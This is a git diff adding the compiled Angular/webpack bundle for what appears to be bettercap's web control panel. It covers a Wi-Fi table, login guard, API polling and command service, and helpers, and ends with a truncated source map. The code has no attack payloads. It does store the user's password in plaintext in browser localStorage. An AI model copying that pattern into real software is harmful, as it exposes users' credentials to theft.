+ WifiTableComponent.prototype.update = function (session) {
+ this.wifi = this.api.module('wifi');
+ if (this.wifi && this.wifi.state && this.wifi.state.channels) {
+ this.hopping = this.wifi.state.channels.length > 1;
+ }
+ if ($('.menu-dropdown').is(':visible'))
+ return;
+ var aps = session.wifi['aps'];
+ if (aps.length == 0)
+ this.currAP = null;
+ this.aps = aps;
+ this.sortService.sort(this.aps, this.sort);
+ if (this.currAP != null) {
+ for (var i = 0; i < this.aps.length; i++) {
+ var ap = this.aps[i];
+ if (ap.mac == this.currAP.mac) {
+ this.currAP = ap;
+ break;
+ }
+ }
+ this.sortService.sort(this.currAP.clients, this.sort);
+ }
+ };
+ WifiTableComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-wifi-table',
+ template: __webpack_require__(/*! ./wifi-table.component.html */ "./src/app/components/wifi-table/wifi-table.component.html"),
+ styles: [__webpack_require__(/*! ./wifi-table.component.scss */ "./src/app/components/wifi-table/wifi-table.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_3__["ApiService"], _services_sort_service__WEBPACK_IMPORTED_MODULE_2__["SortService"], _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__["OmniBarService"], _services_clipboard_service__WEBPACK_IMPORTED_MODULE_5__["ClipboardService"]])
+ ], WifiTableComponent);
+ return WifiTableComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/guards/auth.guard.ts":
+/*!**************************************!*\
+ !*** ./src/app/guards/auth.guard.ts ***!
+ \**************************************/
+/*! exports provided: AuthGuard */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "AuthGuard", function() { return AuthGuard; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _angular_router__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/router */ "./node_modules/@angular/router/fesm5/router.js");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../services/api.service */ "./src/app/services/api.service.ts");
+
+
+
+
+var AuthGuard = /** @class */ (function () {
+ function AuthGuard(router, api) {
+ this.router = router;
+ this.api = api;
+ }
+ AuthGuard.prototype.canActivate = function (route, state) {
+ if (this.api.Ready()) {
+ return true;
+ }
+ this.router.navigate(['/login'], { queryParams: { returnTo: state.url } });
+ return false;
+ };
+ AuthGuard = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Injectable"])({ providedIn: 'root' }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_angular_router__WEBPACK_IMPORTED_MODULE_2__["Router"],
+ _services_api_service__WEBPACK_IMPORTED_MODULE_3__["ApiService"]])
+ ], AuthGuard);
+ return AuthGuard;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/services/api.service.ts":
+/*!*****************************************!*\
+ !*** ./src/app/services/api.service.ts ***!
+ \*****************************************/
+/*! exports provided: Settings, Credentials, ApiService */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Settings", function() { return Settings; });
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Credentials", function() { return Credentials; });
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ApiService", function() { return ApiService; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _angular_common_http__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/common/http */ "./node_modules/@angular/common/fesm5/http.js");
+/* harmony import */ var compare_versions__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! compare-versions */ "./node_modules/compare-versions/index.js");
+/* harmony import */ var compare_versions__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(compare_versions__WEBPACK_IMPORTED_MODULE_3__);
+/* harmony import */ var rxjs_Observable__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! rxjs/Observable */ "./node_modules/rxjs-compat/_esm5/Observable.js");
+/* harmony import */ var rxjs_operators__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! rxjs/operators */ "./node_modules/rxjs/_esm5/operators/index.js");
+/* harmony import */ var rxjs_internal_observable_interval__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! rxjs/internal/observable/interval */ "./node_modules/rxjs/internal/observable/interval.js");
+/* harmony import */ var rxjs_internal_observable_interval__WEBPACK_IMPORTED_MODULE_6___default = /*#__PURE__*/__webpack_require__.n(rxjs_internal_observable_interval__WEBPACK_IMPORTED_MODULE_6__);
+/* harmony import */ var rxjs_add_operator_map__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! rxjs/add/operator/map */ "./node_modules/rxjs-compat/_esm5/add/operator/map.js");
+/* harmony import */ var rxjs_add_operator_catch__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! rxjs/add/operator/catch */ "./node_modules/rxjs-compat/_esm5/add/operator/catch.js");
+/* harmony import */ var _environments_environment__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ../../environments/environment */ "./src/environments/environment.ts");
+
+
+
+
+
+
+
+
+
+
+var Settings = /** @class */ (function () {
+ function Settings() {
+ this.schema = document.location.protocol || 'http:';
+ this.host = document.location.hostname || "127.0.0.1";
+ this.port = (document.location.protocol || 'http:') == 'http:' ? '8081' : '8083';
+ this.path = '/api';
+ this.interval = 1000;
+ this.events = 25;
+ this.muted = [];
+ this.omnibar = true;
+ this.pinned = {
+ modules: {},
+ caplets: {}
+ };
+ }
+ Settings.prototype.URL = function () {
+ return this.schema + '//' + this.host + ':' + this.port + this.path;
+ };
+ Settings.prototype.Warning = function () {
+ if (this.host == 'localhost' || this.host == '127.0.0.1')
+ return false;
+ return this.schema != 'https:';
+ };
+ Settings.prototype.isPinned = function (name) {
+ return (name in this.pinned.modules) || (name in this.pinned.caplets);
+ };
+ Settings.prototype.pinToggle = function (name, what) {
+ if (what == 'caplet') {
+ if (this.isPinned(name))
+ delete this.pinned.caplets[name];
+ else
+ this.pinned.caplets[name] = true;
+ }
+ else {
+ if (this.isPinned(name))
+ delete this.pinned.modules[name];
+ else
+ this.pinned.modules[name] = true;
+ }
+ };
+ Settings.prototype.from = function (obj) {
+ this.schema = obj.schema || this.schema;
+ this.host = obj.host || this.host;
+ this.port = obj.port || this.port;
+ this.path = obj.path || this.path;
+ this.interval = obj.interval || this.interval;
+ this.events = obj.events || this.events;
+ this.muted = obj.muted || this.muted;
+ this.omnibar = obj.omnibar || this.omnibar;
+ this.pinned = obj.pinned || this.pinned;
+ };
+ Settings.prototype.save = function () {
+ localStorage.setItem('settings', JSON.stringify({
+ schema: this.schema,
+ host: this.host,
+ port: this.port,
+ path: this.path,
+ interval: this.interval,
+ events: this.events,
+ muted: this.muted,
+ omnibar: this.omnibar,
+ pinned: this.pinned
+ }));
+ };
+ return Settings;
+}());
+
+var Credentials = /** @class */ (function () {
+ function Credentials() {
+ this.valid = false;
+ this.user = "";
+ this.pass = "";
+ this.headers = null;
+ }
+ Credentials.prototype.set = function (user, pass) {
+ this.user = user;
+ this.pass = pass;
+ this.headers = new _angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpHeaders"]().set("Authorization", "Basic " + btoa(this.user + ":" + this.pass));
+ };
+ Credentials.prototype.save = function () {
+ localStorage.setItem('auth', JSON.stringify({
+ username: this.user,
+ password: this.pass
+ }));
+ };
+ Credentials.prototype.clear = function () {
+ this.user = "";
+ this.pass = "";
+ this.headers = null;
+ };
+ return Credentials;
+}());
+
+var ApiService = /** @class */ (function () {
+ function ApiService(http) {
+ var _this = this;
+ this.http = http;
+ // what API to interact with and how to interact with it
+ this.settings = new Settings();
+ // updated session object
+ this.session = null;
+ // updated events objects
+ this.events = new Array();
+ // current /api/session execution time in milliseconds
+ this.ping = 0;
+ // true if updates have been paused
+ this.paused = false;
+ // filled if /api/session can't be retrieved
+ this.error = null;
+ // if filled it will pass the parameter once to /api/session
+ this.sessionFrom = '';
+ // if filled it will pass the parameter once to /api/events
+ this.eventsFrom = '';
+ // triggerd when the session object has been updated
+ this.onNewData = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ // triggered when the events have been updated
+ this.onNewEvents = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ // triggered when the user credentials are not valid
+ this.onLoggedOut = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ // triggered when the user credentials are valid and he's just been logged in
+ this.onLoggedIn = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ // triggered when there's an error (either bad auth or just the api is down) on /api/session
+ this.onSessionError = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ // triggered when a command returns an error
+ this.onCommandError = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ this.creds = new Credentials();
+ // we use these observable objects to return a cached
+ // version of the session or the events when an error
+ // occurs
+ this.cachedSession = new rxjs_Observable__WEBPACK_IMPORTED_MODULE_4__["Observable"](function (observer) {
+ observer.next(_this.session);
+ observer.complete();
+ });
+ this.cachedEvents = new rxjs_Observable__WEBPACK_IMPORTED_MODULE_4__["Observable"](function (observer) {
+ observer.next(_this.events);
+ observer.complete();
+ });
+ // credentials might be stored in the local storage already,
+ // try to load and authenticate with them in order to restore
+ // the user session
+ this.loadStorage();
+ }
+ // return true if the user is logged in with valid credentials
+ // and we got the first session object
+ ApiService.prototype.Ready = function () {
+ return this.creds.valid && this.session && this.session.modules && this.session.modules.length > 0;
+ };
+ // return a module given its name
+ // TODO: just use a dictionary for session.modules!
+ ApiService.prototype.module = function (name) {
+ for (var i = 0; i < this.session.modules.length; i++) {
+ var mod = this.session.modules[i];
+ if (mod.name == name) {
+ return mod;
+ }
+ }
+ return null;
+ };
+ ApiService.prototype.env = function (name) {
+ for (var key in this.session.env.data) {
+ if (name == key)
+ return this.session.env.data[key];
+ }
+ return "";
+ };
+ // start polling /api/events every second
+ ApiService.prototype.pollEvents = function () {
+ var _this = this;
+ console.log("api.pollEvents() started");
+ return Object(rxjs_internal_observable_interval__WEBPACK_IMPORTED_MODULE_6__["interval"])(this.settings.interval)
+ .pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_5__["startWith"])(0), Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_5__["switchMap"])(function () { return _this.getEvents(); }));
+ };
+ // start polling /api/session every second
+ ApiService.prototype.pollSession = function () {
+ var _this = this;
+ console.log("api.pollSession() started");
+ return Object(rxjs_internal_observable_interval__WEBPACK_IMPORTED_MODULE_6__["interval"])(this.settings.interval)
+ .pipe(Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_5__["startWith"])(0), Object(rxjs_operators__WEBPACK_IMPORTED_MODULE_5__["switchMap"])(function () { return _this.getSession(); }));
+ };
+ // set the user credentials and try to login
+ ApiService.prototype.login = function (username, password) {
+ console.log("api.login()");
+ this.creds.set(username, password);
+ return this.getSession();
+ };
+ // log out the user
+ ApiService.prototype.logout = function () {
+ if (this.creds.valid == false)
+ return;
+ console.log("api.logout()");
+ this.clearStorage();
+ this.creds.valid = false;
+ };
+ // read settings and user credentials from the local storage if available
+ ApiService.prototype.loadStorage = function () {
+ var _this = this;
+ var sets = localStorage.getItem('settings');
+ if (sets) {
+ this.settings.from(JSON.parse(sets));
+ }
+ var auth = localStorage.getItem('auth');
+ if (auth) {
+ var creds = JSON.parse(auth);
+ console.log("found stored credentials");
+ this.login(creds.username, creds.password).subscribe(function (session) {
+ _this.session = session;
+ });
+ }
+ else {
+ this.session = null;
+ this.creds.valid = false;
+ this.onLoggedOut.emit(null);
+ }
+ };
+ // remove settings and user credentials from the local storage
+ ApiService.prototype.clearStorage = function () {
+ console.log("api.clearStorage()");
+ localStorage.removeItem('auth');
+ this.creds.clear();
+ };
+ // save settings and user credentials to the local storage
+ ApiService.prototype.saveStorage = function () {
+ this.creds.save();
+ this.settings.save();
+ };
+ // handler for /api/events response
+ ApiService.prototype.eventsNew = function (response) {
+ if (this.paused == false) {
+ this.events = response;
+ this.onNewEvents.emit(response);
+ }
+ return response;
+ };
+ // handler for /api/events error
+ ApiService.prototype.eventsError = function (error) {
+ // if /api/events fails, most likely /api/session is failing
+ // as well, either due to wrong credentials or to the API not
+ // being reachable - let the main session request fail and
+ // set the error state, this one will just fail silently
+ // and return the cached events.
+ return this.cachedEvents;
+ };
+ // GET /api/events and return an observable list of events
+ ApiService.prototype.getEvents = function () {
+ var _this = this;
+ if (this.isPaused())
+ return this.cachedEvents;
+ var from = this.eventsFrom;
+ if (from != '') {
+ this.eventsFrom = '';
+ }
+ return this.http
+ .get(this.settings.URL() + '/events', {
+ headers: this.creds.headers,
+ params: { 'from': from, 'n': String(this.settings.events) }
+ })
+ .map(function (response) { return _this.eventsNew(response); })
+ .catch(function (error) { return _this.eventsError(error); });
+ };
+ // DELETE /api/events and clear events
+ ApiService.prototype.clearEvents = function () {
+ var _this = this;
+ console.log("clearing events");
+ this.http
+ .delete(this.settings.URL() + '/events', { headers: this.creds.headers })
+ .subscribe(function (response) { return _this.eventsNew([]); });
+ };
+ // set the credentials as valid after a succesfull session request,
+ // if the user was logged out, it'll emit the onLoggedIn event
+ ApiService.prototype.setLoggedIn = function () {
+ var wasLogged = this.creds.valid;
+ this.creds.valid = true;
+ this.saveStorage();
+ // if the user wasn't logged, broadcast the logged in event
+ if (wasLogged == false) {
+ console.log("loggedin.emit");
+ this.onLoggedIn.emit();
+ }
+ return wasLogged;
+ };
+ // handler for /api/session error
+ ApiService.prototype.sessionError = function (error) {
+ this.ping = 0;
+ // handle bad credentials and general errors separately
+ if (error.status == 401) {
+ this.logout();
+ console.log("loggedout.emit");
+ this.onLoggedOut.emit(error);
+ }
+ else {
+ this.error = error;
+ console.log("error.emit");
+ this.onSessionError.emit(error);
+ }
+ // return an observable to the last cached object
+ return this.cachedSession;
+ };
+ // handler for /api/session response
+ ApiService.prototype.sessionNew = function (start, response) {
+ var wasError = this.error != null;
+ this.ping = new Date().getTime() - start.getTime();
+ this.error = null;
+ // if in prod, make sure we're talking to a compatible API version
+ if (compare_versions__WEBPACK_IMPORTED_MODULE_3___default()(response.version, _environments_environment__WEBPACK_IMPORTED_MODULE_9__["environment"].requires) == -1) {
+ if (_environments_environment__WEBPACK_IMPORTED_MODULE_9__["environment"].production) {
+ this.logout();
+ this.onLoggedOut.emit({
+ status: 666,
+ error: "This client requires at least API v" + _environments_environment__WEBPACK_IMPORTED_MODULE_9__["environment"].requires +
+ " but " + this.settings.URL() + " is at v" + response.version
+ });
+ return response;
+ }
+ }
+ // save credentials and emit logged in event if needed
+ var wasLogged = this.setLoggedIn();
+ // update the session object instance
+ this.session = response;
+ var muted = this.module('events.stream').state.ignoring.sort();
+ // if we just logged in and the user has muted events in his
+ // preferences that are not in the API ignore list, we need to
+ // restore them
+ if (wasError == true || wasLogged == false) {
+ var toRestore = this.settings.muted.filter(function (e) { return !muted.includes(e); });
+ if (toRestore.length) {
+ console.log("restoring muted events:", toRestore);
+ for (var i = 0; i < toRestore.length; i++) {
+ this.cmd("events.ignore " + toRestore[i]);
+ }
+ }
+ }
+ // update muted events
+ this.settings.muted = muted;
+ // inform all subscribers that new data is available
+ this.onNewData.emit(response);
+ return response;
+ };
+ ApiService.prototype.isPaused = function () {
+ // pause ui updates if:
+ //
+ // the user excplicitly pressed the paused button
+ return this.paused ||
+ // an action button is hovered (https://stackoverflow.com/questions/8981463/detect-if-hovering-over-element-with-jquery)
+ $('.btn-action').filter(function () { return $(this).is(":hover"); }).length > 0 ||
+ // a dropdown is open
+ $('.menu-dropdown').is(':visible');
+ };
+ // GET /api/session and return an observable Session
+ ApiService.prototype.getSession = function () {
+ var _this = this;
+ if (this.isPaused())
+ return this.cachedSession;
+ var from = this.sessionFrom;
+ if (from != '') {
+ this.sessionFrom = '';
+ }
+ var start = new Date();
+ return this.http
+ .get(this.settings.URL() + '/session', {
+ headers: this.creds.headers,
+ params: { 'from': from }
+ })
+ .map(function (response) { return _this.sessionNew(start, response); })
+ .catch(function (error) { return _this.sessionError(error); });
+ };
+ // GET /api/file given its name
+ ApiService.prototype.readFile = function (name) {
+ console.log("readFile " + name);
+ return this.http.get(this.settings.URL() + '/file', {
+ headers: this.creds.headers,
+ responseType: 'text',
+ params: { 'name': name }
+ });
+ };
+ // POST /api/file given its name and new contents
+ ApiService.prototype.writeFile = function (name, data) {
+ console.log("writeFile " + name + " " + data.length + "b");
+ this.paused = false;
+ return this.http.post(this.settings.URL() + '/file', new Blob([data]), {
+ headers: this.creds.headers,
+ params: { 'name': name }
+ });
+ };
+ // POST /api/session to execute a command, can be asynchronous and
+ // just broadcast errors via the event emitter, or synchronous and
+ // return a subscribable response
+ ApiService.prototype.cmd = function (cmd, sync) {
+ var _this = this;
+ if (sync === void 0) { sync = false; }
+ this.paused = false;
+ if (sync) {
+ console.log("cmd: " + cmd);
+ return this.http.post(this.settings.URL() + '/session', { cmd: cmd }, { headers: this.creds.headers });
+ }
+ return this.cmd(cmd, true)
+ .subscribe(function (val) { }, function (error) { _this.onCommandError.emit(error); }, function () { });
+ };
+ ApiService = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Injectable"])({
+ providedIn: 'root'
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_angular_common_http__WEBPACK_IMPORTED_MODULE_2__["HttpClient"]])
+ ], ApiService);
+ return ApiService;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/services/clipboard.service.ts":
+/*!***********************************************!*\
+ !*** ./src/app/services/clipboard.service.ts ***!
+ \***********************************************/
+/*! exports provided: ClipboardService */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ClipboardService", function() { return ClipboardService; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var ClipboardService = /** @class */ (function () {
+ function ClipboardService() {
+ }
+ // taken from https://stackoverflow.com/questions/400212/how-do-i-copy-to-the-clipboard-in-javascript/30810322
+ ClipboardService.prototype.copy = function (text) {
+ var textArea = document.createElement("textarea");
+ var range = document.createRange();
+ textArea.style.position = 'fixed';
+ textArea.style.top = '0';
+ textArea.style.left = '0';
+ // Ensure it has a small width and height. Setting to 1px / 1em
+ // doesn't work as this gives a negative w/h on some browsers.
+ textArea.style.width = '2em';
+ textArea.style.height = '2em';
+ // We don't need padding, reducing the size if it does flash render.
+ textArea.style.padding = '0';
+ // Clean up any borders.
+ textArea.style.border = 'none';
+ textArea.style.outline = 'none';
+ textArea.style.boxShadow = 'none';
+ // Avoid flash of white box if rendered for any reason.
+ textArea.style.background = 'transparent';
+ textArea.value = text;
+ textArea.readOnly = false;
+ textArea.contentEditable = 'true';
+ document.body.appendChild(textArea);
+ textArea.select();
+ range.selectNodeContents(textArea);
+ var s = window.getSelection();
+ s.removeAllRanges();
+ s.addRange(range);
+ textArea.setSelectionRange(0, 999999);
+ try {
+ var ok = document.execCommand('copy');
+ if (!ok) {
+ console.log('Copying text command failed');
+ }
+ }
+ catch (err) {
+ console.log('Oops, unable to copy', err);
+ }
+ document.body.removeChild(textArea);
+ };
+ ClipboardService = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Injectable"])({
+ providedIn: 'root'
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [])
+ ], ClipboardService);
+ return ClipboardService;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/services/omnibar.service.ts":
+/*!*********************************************!*\
+ !*** ./src/app/services/omnibar.service.ts ***!
+ \*********************************************/
+/*! exports provided: OmniBarService */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "OmniBarService", function() { return OmniBarService; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var OmniBarService = /** @class */ (function () {
+ function OmniBarService() {
+ this.query = '';
+ }
+ OmniBarService = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Injectable"])({
+ providedIn: 'root'
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [])
+ ], OmniBarService);
+ return OmniBarService;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/services/sort.service.ts":
+/*!******************************************!*\
+ !*** ./src/app/services/sort.service.ts ***!
+ \******************************************/
+/*! exports provided: SortService */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SortService", function() { return SortService; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+
+
+var SortService = /** @class */ (function () {
+ function SortService() {
+ this.onSort = new _angular_core__WEBPACK_IMPORTED_MODULE_1__["EventEmitter"]();
+ }
+ SortService.prototype.emitSort = function (event) {
+ this.onSort.emit(event);
+ };
+ SortService.prototype.sort = function (array, how) {
+ // console.log("sorting " + array.length + " elements", how);
+ var less = 1;
+ var greater = -1;
+ if (how.direction == 'desc') {
+ less = -1;
+ greater = 1;
+ }
+ if (how.type == 'ip') {
+ array.sort(function (a, b) {
+ a = a[how.field].split('.');
+ b = b[how.field].split('.');
+ for (var i = 0; i < a.length; i++) {
+ if ((a[i] = parseInt(a[i])) < (b[i] = parseInt(b[i])))
+ return less;
+ else if (a[i] > b[i])
+ return greater;
+ }
+ return 0;
+ });
+ }
+ else {
+ array.sort(function (a, b) { return a[how.field] < b[how.field] ? less : a[how.field] > b[how.field] ? greater : 0; });
+ }
+ };
+ SortService = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Injectable"])({
+ providedIn: 'root'
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [])
+ ], SortService);
+ return SortService;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/environments/environment.ts":
+/*!*****************************************!*\
+ !*** ./src/environments/environment.ts ***!
+ \*****************************************/
+/*! exports provided: environment */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "environment", function() { return environment; });
+/* harmony import */ var _package_json__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../package.json */ "./package.json");
+var _package_json__WEBPACK_IMPORTED_MODULE_0___namespace = /*#__PURE__*/__webpack_require__.t(/*! ../../package.json */ "./package.json", 1);
+// This file can be replaced during build by using the `fileReplacements` array.
+// `ng build --prod` replaces `environment.ts` with `environment.prod.ts`.
+// The list of file replacements can be found in `angular.json`.
+
+var environment = {
+ production: false,
+ name: _package_json__WEBPACK_IMPORTED_MODULE_0__.name,
+ version: _package_json__WEBPACK_IMPORTED_MODULE_0__.version,
+ requires: _package_json__WEBPACK_IMPORTED_MODULE_0__.requires
+};
+/*
+ * For easier debugging in development mode, you can import the following file
+ * to ignore zone related error stack frames such as `zone.run`, `zoneDelegate.invokeTask`.
+ *
+ * This import should be commented out in production mode because it will have a negative impact
+ * on performance if an error is thrown.
+ */
+// import 'zone.js/dist/zone-error'; // Included with Angular CLI.
+
+
+/***/ }),
+
+/***/ "./src/main.ts":
+/*!*********************!*\
+ !*** ./src/main.ts ***!
+ \*********************/
+/*! no exports provided */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _angular_platform_browser_dynamic__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/platform-browser-dynamic */ "./node_modules/@angular/platform-browser-dynamic/fesm5/platform-browser-dynamic.js");
+/* harmony import */ var _app_app_module__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./app/app.module */ "./src/app/app.module.ts");
+/* harmony import */ var _environments_environment__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./environments/environment */ "./src/environments/environment.ts");
+
+
+
+
+if (_environments_environment__WEBPACK_IMPORTED_MODULE_3__["environment"].production) {
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["enableProdMode"])();
+}
+Object(_angular_platform_browser_dynamic__WEBPACK_IMPORTED_MODULE_1__["platformBrowserDynamic"])().bootstrapModule(_app_app_module__WEBPACK_IMPORTED_MODULE_2__["AppModule"])
+ .catch(function (err) { return console.error(err); });
+
+
+/***/ }),
+
+/***/ 0:
+/*!***************************!*\
+ !*** multi ./src/main.ts ***!
+ \***************************/
+/*! no static exports found */
+/***/ (function(module, exports, __webpack_require__) {
+
+module.exports = __webpack_require__(/*! /Users/evilsocket/Bahamut/Lab/bettercap/ui/src/main.ts */"./src/main.ts");
+
+
+/***/ })
+
+},[[0,"runtime","vendor"]]]);
+//# sourceMappingURL=main.js.map
\ No newline at end of file
diff --git a/modules/ui/ui/main.js.map b/modules/ui/ui/main.js.map
new file mode 100644
index 00000000..2a7407ba
--- /dev/null
+++ b/modules/ui/ui/main.js.map
@@ -0,0 +1 @@
+{"version":3,"sources":["webpack:///./src/$_lazy_route_resource lazy namespace object","webpack:///./src/app/app-routing.module.ts","webpack:///./src/app/app.component.html","webpack:///./src/app/app.component.scss","webpack:///./src/app/app.component.ts","webpack:///./src/app/app.module.ts","webpack:///./src/app/components/advanced/advanced.component.html","webpack:///./src/app/components/advanced/advanced.component.scss","webpack:///./src/app/components/advanced/advanced.component.ts","webpack:///./src/app/components/alive.pipe.ts","webpack:///./src/app/components/ble-table/ble-table.component.html","webpack:///./src/app/components/ble-table/ble-table.component.scss","webpack:///./src/app/components/ble-table/ble-table.component.ts","webpack:///./src/app/components/caplets/caplets.component.html","webpack:///./src/app/components/caplets/caplets.component.scss","webpack:///./src/app/components/caplets/caplets.component.ts","webpack:///./src/app/components/event/event.component.html","webpack:///./src/app/components/event/event.component.scss","webpack:///./src/app/components/event/event.component.ts","webpack:///./src/app/components/events-table/events-table.component.html","webpack:///./src/app/components/events-table/events-table.component.scss","webpack:///./src/app/components/events-table/events-table.component.ts","webpack:///./src/app/components/hid-table/hid-table.component.html","webpack:///./src/app/components/hid-table/hid-table.component.scss","webpack:///./src/app/components/hid-table/hid-table.component.ts","webpack:///./src/app/components/lan-table/lan-table.component.html","webpack:///./src/app/components/lan-table/lan-table.component.scss","webpack:///./src/app/components/lan-table/lan-table.component.ts","webpack:///./src/app/components/login/login.component.html","webpack:///./src/app/components/login/login.component.scss","webpack:///./src/app/components/login/login.component.ts","webpack:///./src/app/components/main-header/main-header.component.html","webpack:///./src/app/components/main-header/main-header.component.scss","webpack:///./src/app/components/main-header/main-header.component.ts","webpack:///./src/app/components/modicon.pipe.ts","webpack:///./src/app/components/omnibar/omnibar.component.html","webpack:///./src/app/components/omnibar/omnibar.component.scss","webpack:///./src/app/components/omnibar/omnibar.component.ts","webpack:///./src/app/components/position/position.component.html","webpack:///./src/app/components/position/position.component.scss","webpack:///./src/app/components/position/position.component.ts","webpack:///./src/app/components/rectime.pipe.ts","webpack:///./src/app/components/search.pipe.ts","webpack:///./src/app/components/signal-indicator/signal-indicator.component.html","webpack:///./src/app/components/signal-indicator/signal-indicator.component.scss","webpack:///./src/app/components/signal-indicator/signal-indicator.component.ts","webpack:///./src/app/components/size.pipe.ts","webpack:///./src/app/components/sortable-column/sortable-column.component.html","we